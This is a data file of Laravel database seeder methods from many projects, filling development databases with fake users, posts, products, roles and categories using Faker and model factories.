"public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Assignation::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 40; $i++) {\n Assignation::create([\n 'ad_id' => $faker->numberBetween(1,20),\n 'buyer_id' => $faker->numberBetween(1,6),\n 'seller_id' => $faker->numberBetween(6,11),\n 'state' => NULL,\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }",
"public function run()\n {\n \t$faker = Faker::create();\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$post = new Post;\n \t\t$post->title = $faker->sentence();\n \t\t$post->body = $faker->paragraph();\n \t\t$post->category_id = rand(1, 5);\n \t\t$post->save();\n \t}\n\n \t$list = ['General', 'Technology', 'News', 'Internet', 'Mobile'];\n \tforeach($list as $name) {\n \t\t$category = new Category;\n \t\t$category->name = $name;\n \t\t$category->save();\n \t}\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$comment = new Comment;\n \t\t$comment->comment = $faker->paragraph();\n \t\t$comment->post_id = rand(1,20);\n \t\t$comment->save();\n \t}\n // $this->call(UsersTableSeeder::class);\n }",
"public function run()\n {\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n \n factory('App\\Cat', 5)->create();\n $tags = factory('App\\Tag', 8)->create();\n\n factory(Post::class, 15)->create()->each(function($post) use ($tags){\n $post->comments()->save(factory(Comment::class)->make());\n $post->tags()->attach( $tags->random(mt_rand(1,4))->pluck('id')->toArray() );\n });\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('post')->insert(\n [\n 'title' => 'Test Post1',\n 'desc' => str_random(100).\" post1\",\n 'alias' => 'test1',\n 'keywords' => 'test1',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post2',\n 'desc' => str_random(100).\" post2\",\n 'alias' => 'test2',\n 'keywords' => 'test2',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post3',\n 'desc' => str_random(100).\" post3\",\n 'alias' => 'test3',\n 'keywords' => 'test3',\n ]\n );\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t$faker = Factory::create();\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\tDepartment::create([\n \t\t\t'name' => $department\n \t\t]);\n \t}\n \tforeach ($this->collections as $key => $collection) {\n \t\tCollection::create([\n \t\t\t'name' => $collection\n \t\t]);\n \t}\n \t\n \t\n \tfor ($i=0; $i < 40; $i++) {\n \t\tUser::create([\n \t\t\t'name' \t=>\t$faker->name,\n \t\t\t'email' \t=>\t$faker->email,\n \t\t\t'password' \t=>\tbcrypt('123456'),\n \t\t]);\n \t} \n \t\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\t//echo ($key + 1) . PHP_EOL;\n \t\t\n \t\tfor ($i=0; $i < 10; $i++) { \n \t\t\techo $faker->name . PHP_EOL;\n\n \t\t\tArt::create([\n \t\t\t\t'name'\t\t\t=> $faker->sentence(2),\n \t\t\t\t'img'\t\t\t=> $this->filenames[$i],\n \t\t\t\t'medium'\t\t=> 'canvas',\n \t\t\t\t'department_id'\t=> $key + 1,\n \t\t\t\t'user_id'\t\t=> $this->userIndex,\n \t\t\t\t'dimension'\t\t=> '18.0 x 24.0',\n\t\t\t\t]);\n \t\t\t\t\n \t\t\t\t$this->userIndex ++;\n \t\t}\n \t}\n \t\n \tdd(\"END\");\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->dataCategory();\n factory(App\\Model\\Category::class, 70)->create();\n factory(App\\Model\\Producer::class, rand(5,10))->create();\n factory(App\\Model\\Provider::class, rand(5,10))->create();\n factory(App\\Model\\Product::class, 100)->create();\n factory(App\\Model\\Album::class, 300)->create();\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n factory('App\\User', 10 )->create();\n\n $users= \\App\\User::all();\n $users->each(function($user){ factory('App\\Category', 1)->create(['user_id'=>$user->id]); });\n $users->each(function($user){ factory('App\\Tag', 3)->create(['user_id'=>$user->id]); });\n\n\n $users->each(function($user){\n factory('App\\Post', 10)->create([\n 'user_id'=>$user->id,\n 'category_id'=>rand(1,20)\n ]\n );\n });\n\n $posts= \\App\\Post::all();\n $posts->each(function ($post){\n\n $post->tags()->attach(array_unique([rand(1,20),rand(1,20),rand(1,20)]));\n });\n\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $types = factory(\\App\\Models\\Type::class, 5)->create();\n\n $cities = factory(\\App\\Models\\City::class, 10)->create();\n\n $cities->each(function ($city) {\n $districts = factory(\\App\\Models\\District::class, rand(2, 5))->create([\n 'city_id' => $city->id,\n ]);\n\n $districts->each(function ($district) {\n $properties = factory(\\App\\Models\\Property::class, rand(2, 5))->create([\n 'type_id' => rand(1, 5),\n 'district_id' => $district->id\n ]);\n\n $properties->each(function ($property) {\n $galleries = factory(\\App\\Models\\Gallery::class, rand(3, 10))->create([\n 'property_id' => $property->id\n ]);\n });\n });\n });\n }",
"public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n $categories = factory(App\\Models\\Category::class, 10)->create();\n\n $categories->each(function ($category) {\n $category\n ->posts()\n ->saveMany(\n factory(App\\Models\\Post::class, 3)->make()\n );\n });\n }",
"public function run()\n {\n $this->call(CategoriesTableSeeder::class);\n\n $users = factory(App\\User::class, 5)->create();\n $recipes = factory(App\\Recipe::class, 30)->create();\n $preparations = factory(App\\Preparation::class, 70)->create();\n $photos = factory(App\\Photo::class, 90)->create();\n $comments = factory(App\\Comment::class, 200)->create();\n $flavours = factory(App\\Flavour::class, 25)->create();\n $flavour_recipe = factory(App\\FlavourRecipe::class, 50)->create();\n $tags = factory(App\\Tag::class, 25)->create();\n $recipe_tag = factory(App\\RecipeTag::class, 50)->create();\n $ingredients = factory(App\\Ingredient::class, 25)->create();\n $ingredient_preparation = factory(App\\IngredientPreparation::class, 300)->create();\n \n \n \n DB::table('users')->insert(['name' => 'SimpleUtilisateur', 'email' => '[email protected]', 'password' => bcrypt('SimpleMotDePasse')]);\n \n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Sample::truncate();\n // TestItem::truncate();\n // UOM::truncate();\n Role::truncate();\n User::truncate();\n\n // factory(Role::class, 4)->create();\n Role::create([\n 'name'=> 'Director',\n 'description'=> 'Director type'\n ]);\n\n Role::create([\n 'name'=> 'Admin',\n 'description'=> 'Admin type'\n ]);\n Role::create([\n 'name'=> 'Employee',\n 'description'=> 'Employee type'\n ]);\n Role::create([\n 'name'=> 'Technician',\n 'description'=> 'Technician type'\n ]);\n \n factory(User::class, 20)->create()->each(\n function ($user){\n $roles = \\App\\Role::all()->random(mt_rand(1, 2))->pluck('id');\n $user->roles()->attach($roles);\n }\n );\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n UsersLevel::create([\n 'name' => 'Administrator'\n ]);\n\n UsersLevel::create([\n 'name' => 'User'\n ]);\n\n User::create([\n 'username' => 'admin',\n 'password' => bcrypt('admin123'),\n 'level_id' => 1,\n 'fullname' => \"Super Admin\",\n 'email'=> \"[email protected]\"\n ]);\n\n\n \\App\\CategoryPosts::create([\n 'name' =>'Paket Trip'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' =>'Destinasi Kuliner'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Event'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Profil'\n ]);\n }",
"public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'avatar' => \"avatar\",\n 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',\n ]);\n $this->call(CategorySeeder::class);\n // \\App\\Models\\Admin::factory(1)->create();\n \\App\\Models\\User::factory(10)->create();\n // \\App\\Models\\Category::factory(50)->create();\n \\App\\Models\\PetComment::factory(50)->create();\n $pets = \\App\\Models\\Pet::factory(50)->create();\n foreach ($pets as $pet) {\n \\App\\Models\\PetTag::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\PetPhotoUrl::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\Order::factory(1)->create(['pet_id' => $pet->id]);\n };\n }",
"public function run()\n { \n\n $this->call(RoleSeeder::class);\n \n $this->call(UserSeeder::class);\n\n Storage::deleteDirectory('socials-icon');\n Storage::makeDirectory('socials-icon');\n $socials = Social::factory(7)->create();\n\n Storage::deleteDirectory('countries-flag');\n Storage::deleteDirectory('countries-firm');\n Storage::makeDirectory('countries-flag');\n Storage::makeDirectory('countries-firm');\n $countries = Country::factory(18)->create();\n\n // Se llenan datos de la tabla muchos a muchos - social_country\n foreach ($countries as $country) {\n foreach ($socials as $social) {\n\n $country->socials()->attach($social->id, [\n 'link' => 'https://www.facebook.com/ministeriopalabrayespiritu/'\n ]);\n }\n }\n\n Person::factory(50)->create();\n\n Category::factory(7)->create();\n\n Video::factory(25)->create(); \n\n $this->call(PostSeeder::class);\n\n Storage::deleteDirectory('documents');\n Storage::makeDirectory('documents');\n Document::factory(25)->create();\n\n }",
"public function run()\n {\n $faker = Faker::create('id_ID');\n /**\n * Generate fake author data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('author')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Generate fake publisher data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('publisher')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Seeding payment method\n */\n DB::table('payment')->insert([\n ['name' => 'Mandiri'],\n ['name' => 'BCA'],\n ['name' => 'BRI'],\n ['name' => 'BNI'],\n ['name' => 'Pos Indonesia'],\n ['name' => 'BTN'],\n ['name' => 'Indomaret'],\n ['name' => 'Alfamart'],\n ['name' => 'OVO'],\n ['name' => 'Cash On Delivery']\n ]);\n }",
"public function run()\n {\n DatabaseSeeder::seedLearningStylesProbs();\n DatabaseSeeder::seedCampusProbs();\n DatabaseSeeder::seedGenderProbs();\n DatabaseSeeder::seedTypeStudentProbs();\n DatabaseSeeder::seedTypeProfessorProbs();\n DatabaseSeeder::seedNetworkProbs();\n }",
"public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // MyList::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n MyList::create([\n 'title' => 'List-'.($i+1),\n 'color' => $faker->sentence,\n 'icon' => $faker->randomDigitNotNull,\n 'index' => $faker->randomDigitNotNull,\n 'user_id' => 1,\n ]);\n }\n }",
"public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Products::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few products in our database:\n for ($i = 0; $i < 50; $i++) {\n Products::create([\n 'name' => $faker->word,\n 'sku' => $faker->randomNumber(7, false),\n ]);\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::create([\n 'name' => 'Pablo Rosales',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'status' => 1,\n 'role_id' => 1,\n 'movil' => 0\n ]);\n\n User::create([\n 'name' => 'Usuario Movil',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'status' => 1,\n 'role_id' => 3,\n 'movil' => 1\n ]);\n\n Roles::create([\n 'name' => 'Administrador'\n ]);\n Roles::create([\n 'name' => 'Operaciones'\n ]);\n Roles::create([\n 'name' => 'Comercial'\n ]);\n Roles::create([\n 'name' => 'Aseguramiento'\n ]);\n Roles::create([\n 'name' => 'Facturación'\n ]);\n Roles::create([\n 'name' => 'Creditos y Cobros'\n ]);\n\n factory(App\\Customers::class, 100)->create();\n }",
"public function run()\n {\n // php artisan db:seed --class=StoreTableSeeder\n\n foreach(range(1,20) as $i){\n $faker = Faker::create();\n Store::create([\n 'name' => $faker->name,\n 'desc' => $faker->text,\n 'tags' => $faker->word,\n 'address' => $faker->address,\n 'longitude' => $faker->longitude($min = -180, $max = 180),\n 'latitude' => $faker->latitude($min = -90, $max = 90),\n 'created_by' => '1'\n ]);\n }\n\n }",
"public function run()\n {\n DB::table('users')->insert([\n 'name'=>\"test\",\n 'password' => Hash::make('123'),\n 'email'=>'[email protected]'\n ]);\n DB::table('tags')->insert(['name'=>'tags']);\n $this->call(UserSeed::class);\n $this->call(CategoriesSeed::class);\n $this->call(TopicsSeed::class);\n $this->call(CommentariesSeed::class);\n // $this->call(UsersTableSeeder::class);\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n echo 'seeding permission...', PHP_EOL;\n $permissions = [\n 'role-list',\n 'role-create',\n 'role-edit',\n 'role-delete',\n 'formation-list',\n 'formation-create',\n 'formation-edit',\n 'formation-delete',\n 'user-list',\n 'user-create',\n 'user-edit',\n 'user-delete'\n ];\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n echo 'seeding users...', PHP_EOL;\n\n $user= User::create(\n [\n 'name' => 'Mr. admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'remember_token' => null,\n ]\n );\n echo 'Create Roles...', PHP_EOL;\n Role::create(['name' => 'former']);\n Role::create(['name' => 'learner']);\n Role::create(['name' => 'admin']);\n Role::create(['name' => 'manager']);\n Role::create(['name' => 'user']);\n\n echo 'seeding Role User...', PHP_EOL;\n $user->assignRole('admin');\n $role = $user->assignRole('admin');\n $role->givepermissionTo(Permission::all());\n\n \\DB::table('languages')->insert(['name' => 'English', 'code' => 'en']);\n \\DB::table('languages')->insert(['name' => 'Français', 'code' => 'fr']);\n }",
"public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsSeeder::class);\n $this->call(RolesSeeder::class);\n $this->call(ThemeSeeder::class);\n\n //\n\n DB::table('paypal_info')->insert([\n 'client_id' => '',\n 'client_secret' => '',\n 'currency' => '',\n ]);\n DB::table('contact_us')->insert([\n 'content' => '',\n ]);\n DB::table('setting')->insert([\n 'site_name' => ' ',\n ]);\n DB::table('terms_and_conditions')->insert(['terms_and_condition' => 'text']);\n }",
"public function run()\n {\n $this->call([\n UserSeeder::class,\n ]);\n\n User::factory(20)->create();\n Author::factory(20)->create();\n Book::factory(60)->create();\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UserSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(AppmodeSeeder::class);\n\n // \\App\\Models\\Appmode::factory(3)->create();\n \\App\\Models\\Doctor::factory(100)->create();\n \\App\\Models\\Unit::factory(50)->create();\n \\App\\Models\\Broker::factory(100)->create();\n \\App\\Models\\Patient::factory(100)->create();\n \\App\\Models\\Expence::factory(100)->create();\n \\App\\Models\\Testcategory::factory(100)->create();\n \\App\\Models\\Test::factory(50)->create();\n \\App\\Models\\Parameter::factory(50)->create();\n \\App\\Models\\Sale::factory(50)->create();\n \\App\\Models\\SaleItem::factory(100)->create();\n \\App\\Models\\Goption::factory(1)->create();\n \\App\\Models\\Pararesult::factory(50)->create();\n\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('roles')->insert(\n // [\n // ['name' => 'admin', 'description' => 'Administrator'],\n // ['name' => 'student', 'description' => 'Student'],\n // ['name' => 'lab_tech', 'description' => 'Lab Tech'],\n // ['name' => 'it_staff', 'description' => 'IT Staff Member'],\n // ['name' => 'it_manager', 'description' => 'IT Manager'],\n // ['name' => 'lab_manager', 'description' => 'Lab Manager'],\n // ]\n // );\n\n // DB::table('users')->insert(\n // [\n // 'username' => 'admin', \n // 'password' => Hash::make('password'), \n // 'active' => 1,\n // 'name' => 'Administrator',\n // 'email' => '[email protected]',\n // 'role_id' => \\App\\Role::where('name', 'admin')->first()->id\n // ]\n // );\n\n DB::table('status')->insert([\n // ['name' => 'Active'],\n // ['name' => 'Cancel'],\n // ['name' => 'Disable'],\n // ['name' => 'Open'],\n // ['name' => 'Closed'],\n // ['name' => 'Resolved'],\n ['name' => 'Used'],\n ]);\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create([\n 'name' => 'Qwerty',\n 'email' => '[email protected]',\n 'password' => bcrypt('secretpassw'),\n ]);\n\n factory(User::class, 59)->create([\n 'password' => bcrypt('secretpassw'),\n ]);\n\n for ($i = 1; $i < 11; $i++) {\n factory(Category::class)->create([\n 'name' => 'Category ' . $i,\n ]);\n }\n\n for ($i = 1; $i < 101; $i++) {\n factory(Product::class)->create([\n 'name' => 'Product ' . $i,\n ]);\n }\n }",
"public function run()\n {\n\n \t// Making main admin role\n \tDB::table('roles')->insert([\n 'name' => 'Admin',\n ]);\n\n // Making main category\n \tDB::table('categories')->insert([\n 'name' => 'Other',\n ]);\n\n \t// Making main admin account for testing\n \tDB::table('users')->insert([\n 'name' \t\t=> 'Admin',\n 'email' \t=> '[email protected]',\n 'password' => bcrypt('12345'),\n 'role_id' => 1,\n 'created_at' => date('Y-m-d H:i:s' ,time()),\n 'updated_at' => date('Y-m-d H:i:s' ,time())\n ]);\n\n \t// Making random users and posts\n factory(App\\User::class, 10)->create();\n factory(App\\Post::class, 35)->create();\n }",
"public function run()\n {\n $faker = Faker::create();\n\n \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Chef',\n 'salario' => '15000.00'\n ));\n\n\t\t \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Mesonero',\n 'salario' => '12000.00'\n ));\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n foreach (range(1,5) as $index) {\n Lista::create([\n 'name' => $faker->sentence(2),\n 'description' => $faker->sentence(10), \n ]);\n } \n\n foreach (range(1,20) as $index) {\n $n = $faker->sentence(2);\n \tTarea::create([\n \t\t'name' => $n,\n \t\t'description' => $faker->sentence(10),\n 'lista_id' => $faker->numberBetween(1,5),\n 'slug' => Str::slug($n),\n \t\t]);\n } \n }",
"public function run()\n {\n $faker = Faker::create('lt_LT');\n\n DB::table('users')->insert([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n DB::table('users')->insert([\n 'name' => 'user2',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n\n foreach (range(1,100) as $val)\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n \n ]);\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UsersTableSeeder::class);\n\n // DB::table('users')->insert([\n // 'name' => 'User1',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('password'),\n // ]);\n\n\n $faker = Faker::create();\n \n foreach (range(1,10) as $index){\n DB::table('companies')->insert([\n 'name' => $faker->company(),\n 'email' => $faker->email(10).'@gmail.com',\n 'logo' => $faker->image($dir = '/tmp', $width = 640, $height = 480),\n 'webiste' => $faker->domainName(),\n \n ]);\n }\n \n \n foreach (range(1,10) as $index){\n DB::table('employees')->insert([\n 'first_name' => $faker->firstName(),\n 'last_name' => $faker->lastName(),\n 'company' => $faker->company(),\n 'email' => $faker->str_random(10).'@gmail.com',\n 'phone' => $faker->e164PhoneNumber(),\n \n ]);\n }\n\n\n\n }",
"public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Flight::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n\n\n Flight::create([\n 'flightNumber' => $faker->randomNumber(5),\n 'depAirport' => $faker->city,\n 'destAirport' => $faker->city,\n 'reservedWeight' => $faker->numberBetween(1000 - 10000),\n 'deptTime' => $faker->dateTime('now'),\n 'arrivalTime' => $faker->dateTime('now'),\n 'reservedVolume' => $faker->numberBetween(1000 - 10000),\n 'airlineName' => $faker->colorName,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->truncteTables([\n 'users',\n 'products'\n ]);\n\n $this->call(UsersSeeder::class);\n $this->call(ProductsSeeder::class);\n\n }",
"public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('metas')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('metas')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'justificativa' => $faker->paragraph,\n 'valor_inicial' => $faker->numberBetween(0,100),\n 'valor_atual' => $faker->numberBetween(0,100),\n 'valor_final' => $faker->numberBetween(0,10),\n 'regras' => json_encode([$i => [\"values\" => $faker->words(3)]]),\n 'types' => json_encode([$i => [\"values\" => $faker->words(2)]]),\n 'categorias' => json_encode([$i => [\"values\" => $faker->words(4)]]),\n 'tags' => json_encode([$i => [\"values\" => $faker->words(5)]]),\n 'active' => true,\n ]);\n }\n\n\n }",
"public function run()\n {\n // $this->call(UserTableSeeder::class);\n\n $faker = Faker::create();\n\n $lessonIds = Lesson::lists('id')->all(); // An array of ID's in that table [1, 2, 3, 4, 5, 7]\n $tagIds = Tag::lists('id')->all();\n\n foreach(range(1, 30) as $index)\n {\n // a real lesson id\n // a real tag id\n DB::table('lesson_tag')->insert([\n 'lesson_id' => $faker->randomElement($lessonIds),\n 'tag_id' => $faker->randomElement($tagIds),\n ]);\n }\n }",
"public function run()\n {\n $this->call(CategoriasTableSeeder::class);\n $this->call(UfsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(UserTiposTableSeeder::class);\n factory(App\\User::class, 2)->create();\n/* factory(App\\Models\\Categoria::class, 20)->create();*/\n/* factory(App\\Models\\Anuncio::class, 50)->create();*/\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n Language::truncate();\n Reason::truncate();\n Report::truncate();\n Category::truncate();\n Position::truncate();\n\n $languageQuantity = 10;\n $reasonQuantity = 10;\n $reportQuantity = 10;\n $categoryQuantity = 10;\n $positionQuantity = 10;\n\n factory(Language::class,$languageQuantity)->create();\n factory(Reason::class,$reasonQuantity)->create();\n \n factory(Report::class,$reportQuantity)->create();\n \n factory(Category::class,$categoryQuantity)->create();\n \n factory(Position::class,$positionQuantity)->create();\n\n }",
"public function run()\n {\n // \\DB::statement('SET_FOREIGN_KEY_CHECKS=0');\n \\DB::table('users')->truncate();\n \\DB::table('posts')->truncate();\n // \\DB::table('category')->truncate();\n \\DB::table('photos')->truncate();\n \\DB::table('comments')->truncate();\n \\DB::table('comment_replies')->truncate();\n\n \\App\\Models\\User::factory()->times(10)->hasPosts(1)->create();\n \\App\\Models\\Role::factory()->times(10)->create();\n \\App\\Models\\Category::factory()->times(10)->create();\n \\App\\Models\\Comment::factory()->times(10)->hasReplies(1)->create();\n \\App\\Models\\Photo::factory()->times(10)->create();\n\n \n // \\App\\Models\\User::factory(10)->create([\n // 'role_id'=>2,\n // 'is_active'=>1\n // ]);\n\n // factory(App\\Models\\Post::class, 10)->create();\n // $this->call(UsersTableSeeder::class);\n }",
"public function run()\n {\n $this->call([\n ArticleSeeder::class, \n TagSeeder::class,\n Arttagrel::class\n ]);\n // \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\Article::factory()->count(7)->create();\n \\App\\Models\\Tag::factory()->count(15)->create(); \n \\App\\Models\\Arttagrel::factory()->count(15)->create(); \n }",
"public function run()\n {\n $this->call(ArticulosTableSeeder::class);\n /*DB::table('articulos')->insert([\n 'titulo' => str_random(50),\n 'cuerpo' => str_random(200),\n ]);*/\n }",
"public function run()\n {\n $this->call(CategoryTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n\n \t\t\n\t\t\tDB::table('users')->insert([\n 'first_name' => 'Ignacio',\n 'last_name' => 'Garcia',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456'),\n 'role' => '1',\n 'avatar' => 'CGnABxNYYn8N23RWlvTTP6C2nRjOLTf8IJcbLqRP.jpeg',\n ]);\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(RoleSeeder::class);\n $this->call(UserSeeder::class);\n\n Medicamento::factory(50)->create();\n Reporte::factory(5)->create();\n Cliente::factory(200)->create();\n Asigna_valor::factory(200)->create();\n Carga::factory(200)->create();\n }",
"public function run()\n {\n $this->call([\n RoleSeeder::class,\n TicketSeeder::class\n ]);\n\n DB::table('departments')->insert([\n 'abbr' => 'IT',\n 'name' => 'Information Technologies',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'email_verified_at' => Carbon::now(),\n 'password' => Hash::make('admin'),\n 'department_id' => 1,\n 'avatar' => 'default.png',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('role_user')->insert([\n 'role_id' => 1,\n 'user_id' => 1\n ]);\n }",
"public function run()\n {\n \\App\\Models\\Article::factory(20)->create();\n \\App\\Models\\Category::factory(5)->create();\n \\App\\Models\\Comment::factory(40)->create();\n\n \\App\\Models\\User::create([\n \"name\"=>\"Alice\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n \\App\\Models\\User::create([\n \"name\"=>\"Bob\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n }",
"public function run()\n {\n /** \n * Note: You must add these lines to your .env file for this Seeder to work (replace the values, obviously):\n SEEDER_USER_FIRST_NAME = 'Firstname'\n SEEDER_USER_LAST_NAME = 'Lastname'\n\t\tSEEDER_USER_DISPLAY_NAME = 'Firstname Lastname'\n\t\tSEEDER_USER_EMAIL = [email protected]\n SEEDER_USER_PASSWORD = yourpassword\n */\n\t\tDB::table('users')->insert([\n 'user_first_name' => env('SEEDER_USER_FIRST_NAME'),\n 'user_last_name' => env('SEEDER_USER_LAST_NAME'),\n 'user_name' => env('SEEDER_USER_DISPLAY_NAME'),\n\t\t\t'user_email' => env('SEEDER_USER_EMAIL'),\n 'user_status' => 1,\n \t'password' => Hash::make((env('SEEDER_USER_PASSWORD'))),\n 'permission_fk' => 1,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(\n \tfunction($user)\n \t{\n \t\t$user->questions()\n \t\t->saveMany(\n \t\t\tfactory(App\\Question::class, rand(2,6))->make()\n \t\t)\n ->each(function ($q) {\n $q->answers()->saveMany(factory(App\\Answer::class, rand(1,5))->make());\n })\n \t}\n );\n }\n}",
"public function run()\n {\n $faker = Faker::create();\n\n // $this->call(UsersTableSeeder::class);\n\n DB::table('posts')->insert([\n 'id'=>str_random(1),\n 'user_id'=> str_random(1),\n 'title' => $faker->name,\n 'body' => $faker->safeEmail,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s'),\n ]);\n }",
"public function run()\n\t{\n\t\tDB::table(self::TABLE_NAME)->delete();\n\n\t\tforeach (seed(self::TABLE_NAME) as $row)\n\t\t\t$records[] = [\n\t\t\t\t'id'\t\t\t\t=> $row->id,\n\t\t\t\t'created_at'\t\t=> $row->created_at ?? Carbon::now(),\n\t\t\t\t'updated_at'\t\t=> $row->updated_at ?? Carbon::now(),\n\n\t\t\t\t'sport_id'\t\t\t=> $row->sport_id,\n\t\t\t\t'gender_id'\t\t\t=> $row->gender_id,\n\t\t\t\t'tournamenttype_id'\t=> $row->tournamenttype_id ?? null,\n\n\t\t\t\t'name'\t\t\t\t=> $row->name,\n\t\t\t\t'external_id'\t\t=> $row->external_id ?? null,\n\t\t\t\t'is_top'\t\t\t=> $row->is_top ?? null,\n\t\t\t\t'logo'\t\t\t\t=> $row->logo ?? null,\n\t\t\t\t'position'\t\t\t=> $row->position ?? null,\n\t\t\t];\n\n\t\tinsert(self::TABLE_NAME, $records ?? []);\n\t}",
"public function run()\n\t{\n\t\tDB::table('libros')->truncate();\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i=0; $i < 10; $i++) { \n\t\t\tLibro::create([\n\n\t\t\t\t'titulo'\t\t=> $faker->text(40),\n\t\t\t\t'isbn'\t\t\t=> $faker->numberBetween(100,999),\n\t\t\t\t'precio'\t\t=> $faker->randomFloat(2,3,150),\n\t\t\t\t'publicado'\t\t=> $faker->numberBetween(0,1),\n\t\t\t\t'descripcion'\t=> $faker->text(400),\n\t\t\t\t'autor_id'\t\t=> $faker->numberBetween(1,3),\n\t\t\t\t'categoria_id'\t=> $faker->numberBetween(1,3)\n\n\t\t\t]);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('libros')->insert($libros);\n\t}",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 10)->create()->each(function ($user) {\n // Seed the relation with 5 purchases\n // $videos = factory(App\\Video::class, 5)->make();\n // $user->videos()->saveMany($videos);\n // $user->videos()->each(function ($video){\n // \t$video->videometa()->save(factory(App\\VideoMeta::class)->make());\n // \t// :( \n // });\n factory(App\\User::class, 10)->create()->each(function ($user) {\n\t\t\t factory(App\\Video::class, 5)->create(['user_id' => $user->id])->each(function ($video) {\n\t\t\t \tfactory(App\\VideoMeta::class, 1)->create(['video_id' => $video->id]);\n\t\t\t // $video->videometa()->save(factory(App\\VideoMeta::class)->create(['video_id' => $video->id]));\n\t\t\t });\n\t\t\t});\n\n });\n }",
